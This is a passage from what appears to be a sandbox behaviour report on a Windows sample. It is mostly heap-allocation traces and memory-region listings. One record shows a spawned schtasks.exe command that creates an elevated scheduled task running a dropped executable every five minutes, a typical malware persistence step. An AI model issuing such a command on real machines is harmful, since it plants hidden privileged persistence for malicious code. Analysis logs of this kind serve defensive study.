lpMem=0x12d600) returned 1 [0128.731] GetProcessHeap () returned 0x110000 [0128.731] RtlSizeHeap (HeapHandle=0x110000, Flags=0x0, MemoryPointer=0x12d600) returned 0xe [0128.731] HeapFree (in: hHeap=0x110000, dwFlags=0x0, lpMem=0x12d600 | out: hHeap=0x110000) returned 1 [0128.731] GetProcessHeap () returned 0x110000 [0128.731] GetProcessHeap () returned 0x110000 [0128.731] HeapValidate (hHeap=0x110000, dwFlags=0x0, lpMem=0x12ccb0) returned 1 [0128.731] GetProcessHeap () returned 0x110000 [0128.731] RtlSizeHeap (HeapHandle=0x110000, Flags=0x0, MemoryPointer=0x12ccb0) returned 0x20 [0128.732] HeapFree (in: hHeap=0x110000, dwFlags=0x0, lpMem=0x12ccb0 | out: hHeap=0x110000) returned 1 [0128.732] GetProcessHeap () returned 0x110000 [0128.732] GetProcessHeap () returned 0x110000 [0128.732] HeapValidate (hHeap=0x110000, dwFlags=0x0, lpMem=0x12d620) returned 1 [0128.732] GetProcessHeap () returned 0x110000 [0128.732] RtlSizeHeap (HeapHandle=0x110000, Flags=0x0, MemoryPointer=0x12d620) returned 0xc [0128.732] HeapFree (in: hHeap=0x110000, dwFlags=0x0, lpMem=0x12d620 | out: hHeap=0x110000) returned 1 [0128.732] GetProcessHeap () returned 0x110000 [0128.732] GetProcessHeap () returned 0x110000 [0128.732] HeapValidate (hHeap=0x110000, dwFlags=0x0, lpMem=0x12cc80) returned 1 [0128.732] GetProcessHeap () returned 0x110000 [0128.732] RtlSizeHeap (HeapHandle=0x110000, Flags=0x0, MemoryPointer=0x12cc80) returned 0x20 [0128.733] HeapFree (in: hHeap=0x110000, dwFlags=0x0, lpMem=0x12cc80 | out: hHeap=0x110000) returned 1 [0128.733] GetProcessHeap () returned 0x110000 [0128.733] GetProcessHeap () returned 0x110000 [0128.733] HeapValidate (hHeap=0x110000, dwFlags=0x0, lpMem=0x12d640) returned 1 [0128.733] GetProcessHeap () returned 0x110000 [0128.733] RtlSizeHeap (HeapHandle=0x110000, Flags=0x0, MemoryPointer=0x12d640) returned 0xe [0128.733] HeapFree (in: hHeap=0x110000, dwFlags=0x0, lpMem=0x12d640 | out: hHeap=0x110000) returned 1 [0128.733] GetProcessHeap () returned 0x110000 [0128.733] GetProcessHeap () returned 0x110000 [0128.733] HeapValidate (hHeap=0x110000, dwFlags=0x0, lpMem=0x12cc50) returned 1 [0128.733] GetProcessHeap () returned 0x110000 [0128.733] RtlSizeHeap (HeapHandle=0x110000, Flags=0x0, MemoryPointer=0x12cc50) returned 0x20 [0128.734] HeapFree (in: hHeap=0x110000, dwFlags=0x0, lpMem=0x12cc50 | out: hHeap=0x110000) returned 1 [0128.734] GetProcessHeap () returned 0x110000 [0128.734] GetProcessHeap () returned 0x110000 [0128.734] HeapValidate (hHeap=0x110000, dwFlags=0x0, lpMem=0x12d660) returned 1 [0128.734] GetProcessHeap () returned 0x110000 [0128.734] RtlSizeHeap (HeapHandle=0x110000, Flags=0x0, MemoryPointer=0x12d660) returned 0x10 [0128.734] HeapFree (in: hHeap=0x110000, dwFlags=0x0, lpMem=0x12d660 | out: hHeap=0x110000) returned 1 [0128.734] GetProcessHeap () returned 0x110000 [0128.734] GetProcessHeap () returned 0x110000 [0128.734] HeapValidate (hHeap=0x110000, dwFlags=0x0, lpMem=0x12cc20) returned 1 [0128.734] GetProcessHeap () returned 0x110000 [0128.734] RtlSizeHeap (HeapHandle=0x110000, Flags=0x0, MemoryPointer=0x12cc20) returned 0x20 [0128.734] HeapFree (in: hHeap=0x110000, dwFlags=0x0, lpMem=0x12cc20 | out: hHeap=0x110000) returned 1 [0128.734] GetProcessHeap () returned 0x110000 [0128.734] GetProcessHeap () returned 0x110000 [0128.734] HeapValidate (hHeap=0x110000, dwFlags=0x0, lpMem=0x12ba10) returned 1 [0128.734] GetProcessHeap () returned 0x110000 [0128.734] RtlSizeHeap (HeapHandle=0x110000, Flags=0x0, MemoryPointer=0x12ba10) returned 0x18 [0128.734] HeapFree (in: hHeap=0x110000, dwFlags=0x0, lpMem=0x12ba10 | out: hHeap=0x110000) returned 1 [0128.734] GetProcessHeap () returned 0x110000 [0128.734] GetProcessHeap () returned 0x110000 [0128.734] HeapValidate (hHeap=0x110000, dwFlags=0x0, lpMem=0x125a10) returned 1 [0128.734] GetProcessHeap () returned 0x110000 [0128.735] RtlSizeHeap (HeapHandle=0x110000, Flags=0x0, MemoryPointer=0x125a10) returned 0x20 [0128.735] HeapFree (in: hHeap=0x110000, dwFlags=0x0, lpMem=0x125a10 | out: hHeap=0x110000) returned 1 [0128.735] GetProcessHeap () returned 0x110000 [0128.735] GetProcessHeap () returned 0x110000 [0128.735] HeapValidate (hHeap=0x110000, dwFlags=0x0, lpMem=0x125a40) returned 1 [0128.735] GetProcessHeap () returned 0x110000 [0128.735] RtlSizeHeap (HeapHandle=0x110000, Flags=0x0, MemoryPointer=0x125a40) returned 0x20 [0128.736] HeapFree (in: hHeap=0x110000, dwFlags=0x0, lpMem=0x125a40 | out: hHeap=0x110000) returned 1 [0128.736] GetProcessHeap () returned 0x110000 [0128.736] GetProcessHeap () returned 0x110000 [0128.736] HeapValidate (hHeap=0x110000, dwFlags=0x0, lpMem=0x125a70) returned 1 [0128.736] GetProcessHeap () returned 0x110000 [0128.736] RtlSizeHeap (HeapHandle=0x110000, Flags=0x0, MemoryPointer=0x125a70) returned 0x20 [0128.736] HeapFree (in: hHeap=0x110000, dwFlags=0x0, lpMem=0x125a70 | out: hHeap=0x110000) returned 1 [0128.736] GetProcessHeap () returned 0x110000 [0128.736] GetProcessHeap () returned 0x110000 [0128.736] HeapValidate (hHeap=0x110000, dwFlags=0x0, lpMem=0x125aa0) returned 1 [0128.736] GetProcessHeap () returned 0x110000 [0128.736] RtlSizeHeap (HeapHandle=0x110000, Flags=0x0, MemoryPointer=0x125aa0) returned 0x20 [0128.737] HeapFree (in: hHeap=0x110000, dwFlags=0x0, lpMem=0x125aa0 | out: hHeap=0x110000) returned 1 [0128.737] GetProcessHeap () returned 0x110000 [0128.737] GetProcessHeap () returned 0x110000 [0128.737] HeapValidate (hHeap=0x110000, dwFlags=0x0, lpMem=0x12ba30) returned 1 [0128.737] GetProcessHeap () returned 0x110000 [0128.737] RtlSizeHeap (HeapHandle=0x110000, Flags=0x0, MemoryPointer=0x12ba30) returned 0x18 [0128.737] HeapFree (in: hHeap=0x110000, dwFlags=0x0, lpMem=0x12ba30 | out: hHeap=0x110000) returned 1 [0128.737] GetProcessHeap () returned 0x110000 [0128.737] GetProcessHeap () returned 0x110000 [0128.737] HeapValidate (hHeap=0x110000, dwFlags=0x0, lpMem=0x125ad0) returned 1 [0128.737] GetProcessHeap () returned 0x110000 [0128.737] RtlSizeHeap (HeapHandle=0x110000, Flags=0x0, MemoryPointer=0x125ad0) returned 0x20 [0128.737] HeapFree (in: hHeap=0x110000, dwFlags=0x0, lpMem=0x125ad0 | out: hHeap=0x110000) returned 1 [0128.737] GetProcessHeap () returned 0x110000 [0128.737] GetProcessHeap () returned 0x110000 [0128.737] HeapValidate (hHeap=0x110000, dwFlags=0x0, lpMem=0x125b60) returned 1 [0128.738] GetProcessHeap () returned 0x110000 [0128.738] RtlSizeHeap (HeapHandle=0x110000, Flags=0x0, MemoryPointer=0x125b60) returned 0x20 [0128.738] HeapFree (in: hHeap=0x110000, dwFlags=0x0, lpMem=0x125b60 | out: hHeap=0x110000) returned 1 [0128.738] GetProcessHeap () returned 0x110000 [0128.738] GetProcessHeap () returned 0x110000 [0128.738] HeapValidate (hHeap=0x110000, dwFlags=0x0, lpMem=0x125bc0) returned 1 [0128.738] GetProcessHeap () returned 0x110000 [0128.738] RtlSizeHeap (HeapHandle=0x110000, Flags=0x0, MemoryPointer=0x125bc0) returned 0x20 [0128.739] HeapFree (in: hHeap=0x110000, dwFlags=0x0, lpMem=0x125bc0 | out: hHeap=0x110000) returned 1 [0128.739] GetProcessHeap () returned 0x110000 [0128.739] GetProcessHeap () returned 0x110000 [0128.739] HeapValidate (hHeap=0x110000, dwFlags=0x0, lpMem=0x125c20) returned 1 [0128.739] GetProcessHeap () returned 0x110000 [0128.739] RtlSizeHeap (HeapHandle=0x110000, Flags=0x0, MemoryPointer=0x125c20) returned 0x20 [0128.740] HeapFree (in: hHeap=0x110000, dwFlags=0x0, lpMem=0x125c20 | out: hHeap=0x110000) returned 1 [0128.740] GetProcessHeap () returned 0x110000 [0128.740] GetProcessHeap () returned 0x110000 [0128.740] HeapValidate (hHeap=0x110000, dwFlags=0x0, lpMem=0x125c50) returned 1 [0128.740] GetProcessHeap () returned 0x110000 [0128.740] RtlSizeHeap (HeapHandle=0x110000, Flags=0x0, MemoryPointer=0x125c50) returned 0x20 [0128.743] HeapFree (in: hHeap=0x110000, dwFlags=0x0, lpMem=0x125c50 | out: hHeap=0x110000) returned 1 [0128.744] GetProcessHeap () returned 0x110000 [0128.744] GetProcessHeap () returned 0x110000 [0128.744] HeapValidate (hHeap=0x110000, dwFlags=0x0, lpMem=0x12ba50) returned 1 [0128.744] GetProcessHeap () returned 0x110000 [0128.744] RtlSizeHeap (HeapHandle=0x110000, Flags=0x0, MemoryPointer=0x12ba50) returned 0x18 [0128.744] HeapFree (in: hHeap=0x110000, dwFlags=0x0, lpMem=0x12ba50 | out: hHeap=0x110000) returned 1 [0128.744] GetProcessHeap () returned 0x110000 [0128.744] GetProcessHeap () returned 0x110000 [0128.744] HeapValidate (hHeap=0x110000, dwFlags=0x0, lpMem=0x125b90) returned 1 [0128.744] GetProcessHeap () returned 0x110000 [0128.744] RtlSizeHeap (HeapHandle=0x110000, Flags=0x0, MemoryPointer=0x125b90) returned 0x20 [0128.744] HeapFree (in: hHeap=0x110000, dwFlags=0x0, lpMem=0x125b90 | out: hHeap=0x110000) returned 1 [0128.744] GetProcessHeap () returned 0x110000 [0128.744] GetProcessHeap () returned 0x110000 [0128.744] HeapValidate (hHeap=0x110000, dwFlags=0x0, lpMem=0x12b9d0) returned 1 [0128.744] GetProcessHeap () returned 0x110000 [0128.744] RtlSizeHeap (HeapHandle=0x110000, Flags=0x0, MemoryPointer=0x12b9d0) returned 0x18 [0128.744] HeapFree (in: hHeap=0x110000, dwFlags=0x0, lpMem=0x12b9d0 | out: hHeap=0x110000) returned 1 [0128.744] exit (_Code=0) Thread: id = 103 os_tid = 0xeb4 Process: id = "10" image_name = "schtasks.exe" filename = "c:\\windows\\system32\\schtasks.exe" page_root = "0x4626c000" os_pid = "0xebc" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "6" os_parent_pid = "0xb84" cmd_line = "schtasks.exe /create /tn \"whatever_onlyw\" /sc MINUTE /mo 5 /tr \"'C:\\comproviderRuntimecommon\\whatever_only.exe'\" /rl HIGHEST /f" cur_dir = "C:\\Windows\\system32\\" os_username = "Q9IATRKPRH\\kEecfMwgj" bitness = "32" os_groups = "Q9IATRKPRH\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000f52a" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 1572 start_va = 0x10000 end_va = 0x2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 1573 start_va = 0x30000 end_va = 0x33fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 1574 start_va = 0x40000 end_va = 0x40fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000040000" filename = "" Region: id = 1575 start_va = 0x200000 end_va = 0x27ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000200000" filename = "" Region: id = 1576 start_va = 0x76d20000 end_va = 0x76ec8fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 1577 start_va = 0x7efe0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 1578 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 1579 start_va = 0xffc80000 end_va = 0xffcc7fff monitored = 1 entry_point = 0xffca966c region_type = mapped_file name = "schtasks.exe" filename = "\\Windows\\System32\\schtasks.exe" (normalized: "c:\\windows\\system32\\schtasks.exe") Region: id = 1580 start_va = 0x7feff040000 end_va = 0x7feff040fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 1581 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 1582 start_va = 0x7fffffd5000 end_va = 0x7fffffd5fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd5000" filename = "" Region: id = 1583 start_va = 0x7fffffde000 end_va = 0x7fffffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffde000" filename = "" Region: id = 1584 start_va = 0x280000 end_va = 0x56ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000280000" filename = "" Region: id = 1585 start_va = 0x76b00000 end_va = 0x76c1efff monitored = 0 entry_point = 0x76b15340 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 1586 start_va = 0x7fefcd20000 end_va = 0x7fefcd8bfff monitored = 0 entry_point = 0x7fefcd22780 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 1587 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 1588 start_va = 0x7efe0000 end_va = 0x7f0dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 1589 start_va = 0x7f0e0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 1590 start_va = 0x50000 end_va = 0xb6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 1591 start_va = 0x7fefec70000 end_va = 0x7fefed0efff monitored = 0 entry_point = 0x7fefec725a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 1592 start_va = 0x76c20000 end_va = 0x76d19fff monitored = 0 entry_point = 0x76c3a2c8 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 1593 start_va = 0x7fefd420000 end_va = 0x7fefd486fff monitored = 0 entry_point = 0x7fefd42b03c region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 1594 start_va = 0x7fefeb60000 end_va = 0x7fefeb6dfff monitored = 0 entry_point = 0x7fefeb61080 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll") Region: id = 1595 start_va = 0x7fefe910000 end_va = 0x7fefe9d8fff monitored = 0 entry_point = 0x7fefe98a874 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll") Region: id = 1596 start_va = 0x7fefd4e0000 end_va = 0x7fefd6e2fff monitored = 0 entry_point = 0x7fefd503330 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 1597 start_va = 0x7fefe680000 end_va = 0x7fefe7acfff monitored = 0 entry_point = 0x7fefe6ced50 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 1598 start_va = 0x7fefeb70000 end_va = 0x7fefec46fff monitored = 0 entry_point = 0x7fefeb73274 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 1599 start_va = 0x7fefe890000 end_va = 0x7fefe900fff monitored = 0 entry_point = 0x7fefe8a1e20 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 1600 start_va = 0x7fefa290000 end_va = 0x7fefa299fff monitored = 0 entry_point = 0x7fefa29260c region_type = mapped_file name = "ktmw32.dll" filename = "\\Windows\\System32\\ktmw32.dll" (normalized: "c:\\windows\\system32\\ktmw32.dll") Region: id = 1601 start_va = 0x280000 end_va = 0x3effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000280000" filename = "" Region: id = 1602 start_va = 0x470000 end_va = 0x56ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000470000" filename = "" Region: id = 1603 start_va = 0xc0000 end_va = 0x1bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000c0000" filename = "" Region: id = 1604 start_va = 0x1c0000 end_va = 0x1e8fff monitored = 0 entry_point = 0x1c1010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 1605 start_va = 0x570000 end_va = 0x6f7fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000570000" filename = "" Region: id = 1606 start_va = 0x1c0000 end_va = 0x1e8fff monitored = 0 entry_point = 0x1c1010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 1607 start_va = 0x7feff000000 end_va = 0x7feff02dfff monitored = 0 entry_point = 0x7feff001010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 1608 start_va = 0x7fefed10000 end_va = 0x7fefee18fff monitored = 0 entry_point = 0x7fefed11064 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 1609 start_va = 0x700000 end_va = 0x880fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000700000" filename = "" Region: id = 1610 start_va = 0x890000 end_va = 0x1c8ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000890000" filename = "" Region: id = 1611 start_va = 0x1c0000 end_va = 0x1d1fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "schtasks.exe.mui" filename = "\\Windows\\System32\\en-US\\schtasks.exe.mui" (normalized: "c:\\windows\\system32\\en-us\\schtasks.exe.mui") Region: id = 1623 start_va = 0x20000 end_va = 0x20fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 1624 start_va = 0x1e0000 end_va = 0x1e0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001e0000" filename = "" Region: id = 1625 start_va = 0x7fefbe30000 end_va = 0x7fefbe3bfff monitored = 0 entry_point = 0x7fefbe31064 region_type = mapped_file name = "version.dll" filename = "\\Windows\\System32\\version.dll" (normalized: "c:\\windows\\system32\\version.dll") Region: id = 1626 start_va = 0x1c90000 end_va = 0x1f5efff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 1627 start_va = 0x280000 end_va = 0x2fcfff monitored = 0 entry_point = 0x28cec8 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 1628 start_va = 0x3e0000 end_va = 0x3effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000003e0000" filename = "" Region: id = 1629 start_va = 0x280000 end_va = 0x2fcfff monitored = 0 entry_point = 0x28cec8 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 1630 start_va = 0x7fefcb60000 end_va = 0x7fefcb6efff monitored = 0 entry_point = 0x7fefcb61010 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 1631 start_va = 0x7fefb5c0000 end_va = 0x7fefb615fff monitored = 0 entry_point = 0x7fefb5cbbc0 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\System32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll") Region: id = 1632 start_va = 0x280000 end_va = 0x3affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000280000" filename = "" Region: id = 1633 start_va = 0x1f60000 end_va = 0x203efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001f60000" filename = "" Region: id = 1634 start_va = 0x7fefec50000 end_va = 0x7fefec6efff monitored = 0 entry_point = 0x7fefec560e8 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 1635 start_va = 0x2040000 end_va = 0x20bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002040000" filename = "" Region: id = 1636 start_va = 0x7fffffdc000 end_va = 0x7fffffddfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffdc000" filename = "" Region: id = 1637 start_va = 0x7fefe7b0000 end_va = 0x7fefe88afff monitored = 0 entry_point = 0x7fefe7d0760 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 1638 start_va = 0x1f0000 end_va = 0x1f0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001f0000" filename = "" Region: id = 1639 start_va = 0x7fefef50000 end_va = 0x7fefefe8fff monitored = 0 entry_point = 0x7fefef51c10 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 1640 start_va = 0x280000 end_va = 0x280fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000280000" filename = "" Region: id = 1641 start_va = 0x330000 end_va = 0x3affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000330000" filename = "" Region: id = 1642 start_va = 0x7fefa9d0000 end_va = 0x7fefaaf6fff monitored = 0 entry_point = 0x7fefa9d10ec region_type = mapped_file name = "taskschd.dll" filename = "\\Windows\\System32\\taskschd.dll" (normalized: "c:\\windows\\system32\\taskschd.dll") Region: id = 1643 start_va = 0x7fefcb30000 end_va = 0x7fefcb54fff monitored = 0 entry_point = 0x7fefcb39658 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\System32\\sspicli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll") Region: id = 1725 start_va = 0x7fefb150000 end_va = 0x7fefb184fff monitored = 0 entry_point = 0x7fefb151064 region_type = mapped_file name = "xmllite.dll" filename = "\\Windows\\System32\\xmllite.dll" (normalized: "c:\\windows\\system32\\xmllite.dll") Thread: id = 105 os_tid = 0xec0 [0128.206] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x27fe20 | out: lpSystemTimeAsFileTime=0x27fe20*(dwLowDateTime=0x1b7a2560, dwHighDateTime=0x1d8a92a)) [0128.206] GetCurrentProcessId () returned 0xebc [0128.206] GetCurrentThreadId () returned 0xec0 [0128.206] GetTickCount () returned 0x13858bf [0128.206] RtlQueryPerformanceCounter (in: lpPerformanceCount=0x27fe28 | out: lpPerformanceCount=0x27fe28*=2060706948733) returned 1 [0128.207] GetModuleHandleW (lpModuleName=0x0) returned 0xffc80000 [0128.207] __set_app_type (_Type=0x1) [0128.207] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xffca972c) returned 0x0 [0128.207] __wgetmainargs (in: _Argc=0xffcc1240, _Argv=0xffcc1250, _Env=0xffcc1248, _DoWildCard=0, _StartInfo=0xffcc125c | out: _Argc=0xffcc1240, _Argv=0xffcc1250, _Env=0xffcc1248) returned 0 [0128.207] _onexit (_Func=0xffcb2ab0) returned 0xffcb2ab0 [0128.208] _onexit (_Func=0xffcb2ac4) returned 0xffcb2ac4 [0128.208] _onexit (_Func=0xffcb2afc) returned 0xffcb2afc [0128.208] _onexit (_Func=0xffcb2b58) returned 0xffcb2b58 [0128.208] _onexit (_Func=0xffcb2b80) returned 0xffcb2b80 [0128.208] _onexit (_Func=0xffcb2ba8) returned 0xffcb2ba8 [0128.208] _onexit (_Func=0xffcb2bd0) returned 0xffcb2bd0 [0128.208] _onexit (_Func=0xffcb2bf8) returned 0xffcb2bf8 [0128.208] _onexit (_Func=0xffcb2c20) returned 0xffcb2c20 [0128.209] _onexit (_Func=0xffcb2c48) returned 0xffcb2c48 [0128.209] _onexit (_Func=0xffcb2c70) returned 0xffcb2c70 [0128.209] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0128.209] WinSqmIsOptedIn () returned 0x0 [0128.209] GetProcessHeap () returned 0x470000 [0128.209] RtlAllocateHeap (HeapHandle=0x470000, Flags=0xc, Size=0x18) returned 0x48b9d0 [0128.209] SetLastError (dwErrCode=0x0) [0128.210] VerSetConditionMask (ConditionMask=0x0, TypeMask=0x2, Condition=0x3) returned 0x8000000000000018 [0128.210] VerSetConditionMask (ConditionMask=0x8000000000000018, TypeMask=0x1, Condition=0x3) returned 0x800000000000001b [0128.210] VerSetConditionMask (ConditionMask=0x800000000000001b, TypeMask=0x20, Condition=0x3) returned 0x800000000001801b [0128.210] VerifyVersionInfoW (in: lpVersionInformation=0x27f5e0, dwTypeMask=0x3, dwlConditionMask=0x800000000001801b | out: lpVersionInformation=0x27f5e0) returned 1 [0128.210] GetProcessHeap () returned 0x470000 [0128.210] RtlAllocateHeap (HeapHandle=0x470000, Flags=0xc, Size=0x18) returned 0x48b9f0 [0128.210] lstrlenW (lpString="") returned 0 [0128.210] GetProcessHeap () returned 0x470000 [0128.210] RtlAllocateHeap (HeapHandle=0x470000, Flags=0xc, Size=0x2) returned 0x48ba10 [0128.210] GetProcessHeap () returned 0x470000 [0128.210] RtlAllocateHeap (HeapHandle=0x470000, Flags=0xc, Size=0x20) returned 0x485960 [0128.210] GetProcessHeap () returned 0x470000 [0128.210] RtlAllocateHeap (HeapHandle=0x470000, Flags=0xc, Size=0x18) returned 0x48ba30 [0128.210] GetProcessHeap () returned 0x470000 [0128.210] RtlAllocateHeap (HeapHandle=0x470000, Flags=0xc, Size=0x20) returned 0x485990 [0128.210] GetProcessHeap () returned 0x470000 [0128.210] RtlAllocateHeap (HeapHandle=0x470000, Flags=0xc, Size=0x20) returned 0x4859c0 [0128.210] GetProcessHeap () returned 0x470000 [0128.210] RtlAllocateHeap (HeapHandle=0x470000, Flags=0xc, Size=0x20) returned 0x4859f0 [0128.210] GetProcessHeap () returned 0x470000 [0128.210] RtlAllocateHeap (HeapHandle=0x470000, Flags=0xc, Size=0x20) returned 0x485a20 [0128.210] GetProcessHeap () returned 0x470000 [0128.210] RtlAllocateHeap (HeapHandle=0x470000, Flags=0xc, Size=0x18) returned 0x48ba50 [0128.210] GetProcessHeap () returned 0x470000 [0128.210] RtlAllocateHeap (HeapHandle=0x470000, Flags=0xc, Size=0x20) returned 0x485a50 [0128.210] GetProcessHeap () returned 0x470000 [0128.210] RtlAllocateHeap (HeapHandle=0x470000, Flags=0xc, Size=0x20) returned 0x485a80 [0128.210] GetProcessHeap () returned 0x470000 [0128.210] RtlAllocateHeap (HeapHandle=0x470000, Flags=0xc, Size=0x20) returned 0x485ab0 [0128.211] GetProcessHeap () returned 0x470000 [0128.211] RtlAllocateHeap (HeapHandle=0x470000, Flags=0xc, Size=0x20) returned 0x485ae0 [0128.211] GetProcessHeap () returned 0x470000 [0128.211] RtlAllocateHeap (HeapHandle=0x470000, Flags=0xc, Size=0x18) returned 0x48ba70 [0128.211] GetProcessHeap () returned 0x470000 [0128.211] RtlAllocateHeap (HeapHandle=0x470000, Flags=0xc, Size=0x20) returned 0x485b10 [0128.211] GetProcessHeap () returned 0x470000 [0128.211] RtlAllocateHeap (HeapHandle=0x470000, Flags=0xc, Size=0x20) returned 0x485b40 [0128.211] GetProcessHeap () returned 0x470000 [0128.211] RtlAllocateHeap (HeapHandle=0x470000, Flags=0xc, Size=0x20) returned 0x485b70 [0128.211] GetProcessHeap () returned 0x470000 [0128.211] RtlAllocateHeap (HeapHandle=0x470000, Flags=0xc, 